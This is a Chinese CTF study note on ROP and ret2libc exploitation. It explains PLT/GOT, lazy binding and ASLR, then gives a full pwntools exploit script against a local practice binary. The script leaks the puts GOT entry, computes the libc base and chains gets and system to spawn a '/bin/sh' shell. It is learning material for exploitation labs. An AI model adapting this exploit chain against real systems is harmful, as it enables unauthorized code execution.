Pwn_7 ROP (2)
- 如果不是静态编译,通常不会有int 0x80。意思就是,没有int 0x80 构造的堆栈再好,也无法运行
- 动态编译会载入整个shared library
- stack overflow时可以直接构造function调用函数
有了函数地址,就可以直接拿来调用
Address = base + offset
在ASLR(Address Space Layout Randomization)中,每一次的基地址都会改变。每一个程序必然都会用到libc库中的函数 比如说main 函数,就要用到libc中的start_main()函数
有了这个函数地址,libc中的偏移地址是固定的,一个函数的实际地址也可以知道,
base addr = address –offset
Lazy Binding 延迟绑定
ELF采用了延迟绑定:函数第一次被调用的时候才绑定,如果没有用到则不进行绑定
PLT
80483c0就是plt的地址
GOT表(Global offset table)
全局偏移表
ELF将GOT表拆成两个表:.got 和 .got.plt
- .got保存全局变量的地址
- .got.plt保存函数引用地址
如果一个程序中使用到了某一个函数,那么一定会对应的有plt地址和.got.plt地址
0x804a010这个地址对应的值 就是实际地址,只要把这个地址的值打印出来就可以得到了实际地址
Call Library Function
gets() #函数地址
pop1_ret #执行完gets()函数的返回地址,比如pop eax pop ebx..把参数弹出栈
<buf> #参数
system()
xxx
<buf>
再比如说 read函数
read函数地址
pop3_ret
第一个变量
第二个变量
第三个变量
system()
xxx
<buf>
Practice 6 ret2lib
_libc_start_main这个函数一定会用到
.got.plt=0x804a024
写了一段脚本
exp_3.py
from pwn import *
r = remote('127.0.0.1',4000)
puts_got_plt = 0x804a01c
r.recvuntil(':')
r.sendline(str(puts_got_plt))
r.interactive()
执行结果
找puts函数在libc库中的offset
ldd ./ret2lib #查看调用了那些库 以及路径
root@danny-virtual-machine:/home/danny/Desktop/pwn# ldd ./ret2lib
linux-gate.so.1 => (0xf7f7c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da7000)
/lib/ld-linux.so.2 (0xf7f7e000)root@danny-virtual-machine:/home/danny/Desktop/pwn# readelf -a /lib/i386-linux-gnu/libc.so.6 | grep puts@
205: 0005fca0 464 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.0
这个就偏移地址 434: 0005fca0 464 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.0
1182: 0005e720 349 FUNC WEAK DEFAULT 13 fputs@@GLIBC_2.0
1736: 0005e720 349 FUNC GLOBAL DEFAULT 13 _IO_fputs@@GLIBC_2.0
如何判断找到的实际地址是正确的?
实际地址与偏移地址的后3位是相同的,即后1.5个bit,如果找不到这个地址,就可以考虑爆破了
最终的exp_3.py
from pwn import *
r = remote('127.0.0.1',4000)puts_got_plt = 0x804a01c
put_off = 0x0005fca0
r.recvuntil(':')
r.sendline(str(puts_got_plt))
r.recvuntil(':')
libc_base = int(r.recvuntil('\n').strip(),16) - put_off
print (hex(libc_base))
#raw_input('#')
gets_off = 0x05f3e0
system_off = 0x003ada0
gets = libc_base + gets_off
system = libc_base + system_off
buf = 0x0804b000 - 30rop = [
gets,
system,
buf,
buf
]
r.recvuntil(':')
r.sendline('a'*60 + flat(rop))sleep(2)
r.sendline('/bin/sh\x00')
r.interactive()
总结:
- 找到某一个函数的.got.plt地址所对应的实际地址的值
- 查找该函数的offset 由实际地址-偏移地址获得libc_base地址
- 构造rop
gets() #函数地址 libc_base + offset # ldd ./file 获得库路径 #readelf -a 库路径 | grep func@
system() #函数地址 libc_base + offset
buf #寻找可写区域 ./file &得到proc id 然后 cat /proc/func id/maps
buf
转载于:https://www.cnblogs.com/rookieDanny/p/8503493.html
Pwn_7 ROP (2)相关推荐
- ROP简单 ret2syscall
开启的NX保护 写shellcode 是不可能的,也没有system等函数 存在溢出,算下偏移 变量与bp的距离就等于0x60 这个变量的开栈是根据sp开的 他距离sp0x1c 所以偏移就是 bp-s ...
- 一步一步学ROP之gadgets和2free篇
蒸米 · 2015/11/25 10:39 0x00序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种 ...
- rop检查_注意!这几类人一定要定期检查眼底!
高度近视最大的危害是什么? 随着手机,电脑的普遍使用,学习任务的繁重,导致青少年高度近视的发病率越来越高. 高度近视给我们生活带来的困扰不仅仅是眼睛干涩疲劳.视力模糊.戴眼镜不方便等,它最大的危害是随 ...
- CTF(Pwn) Rop + ret2libc 题型 常规解法思路 (初级)
参考例题 https://blog.csdn.net/weixin_45556441/article/details/115091036 引子 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码 ...
- 一步一步学ROP之Android ARM 32位篇
蒸米 · 2015/12/17 9:41 0x00 序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种 ...
- 深入探讨ROP 载荷分析
0x00 简介 Exploit-db上看到的感觉还不错,所以就翻译一下,原文题目为<Deep Dive into ROP Payload Analysis>,作者Sudeep Singh. ...
- Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP
8种机械键盘轴体对比 本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选? 这篇鸽了挺久的,补一下吧 简单介绍ROP 首先先来说下什么是ROP ROP是Return Oriented Progra ...
- rop的noejs客户端
2019独角兽企业重金招聘Python工程师标准>>> rop_client rop框架的nodejs客户端,可以快速联接rop相关的服务端 intall npm install r ...
- [网络安全自学篇] 五十五.Windows系统安全之构建ROP链绕过DEP及原理详解
这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或 ...
最新文章
- 机房几台终端电脑,本地连接中不停的出现连接和断开,网络不通,解决方法...
- 【Nginx】访问日志里有大量的 HEAD 方法请求
- java中为什么要用json_Java中使用JSON
- HAS_NO_PRIVILEGE解决方案
- 【重磅快讯】T11 2019数据智能技术峰会举办,AI将成为行业颠覆者
- 一键设置mac显示选项_如何通过关闭浏览器中的一个选项卡将Mac上的电池寿命延长一倍...
- SQL中datetime和timestamp的区别
- 4.1 Spark SQL概述
- 数据库基本----SQL语句大全(转载)
- 身份证号码中间显示*星号
- arm架构安装rxtx_树莓派JAVA开发串口(RXTX)和GPIO(pi4j)
- c语言常用基础代码大全,C语言基础入门必读
- 组合数学 8种盒子放球问题
- 青龙面板最新版本2.10.11+(诺兰短信登录)nvjdc详细教程
- Python爬虫,爬取快看漫画每日更新模块
- 安装google扩展
- Linux查看硬盘属性(机械硬盘/固态硬盘)
- HashMap和Hashtable中的hash值是怎么计算的
- python中的imp模块——让引用模块更加简单
- 工商银行 U盾 -100003 数据签名错误
热门文章
- Day 1. Depressive Emotion Detection, Men Who Have Sex With Men, Social Media
- 计算机所王颖简历,王颖-天津大学材料科学与工程学院
- 浏览器相关(2)- 从输入url到页面展示发生了什么
- 论文笔记 | DCS-RISR: Dynamic Channel Splitting for Efficient Real-world Image Super-Resolution
- WEB安全的学习总结与心得(一)
- 整理了12个必备的Python函数,建议收藏
- 牛客小白月赛6 C 桃花
- Ext.Net 1.x_Ext.Net.TextField模糊查询(仿Google)
- python交互模式_python怎么用交互式模式
- 集成学习boosting算法:AdaboostGBDTXgboostLightGBMCatBoost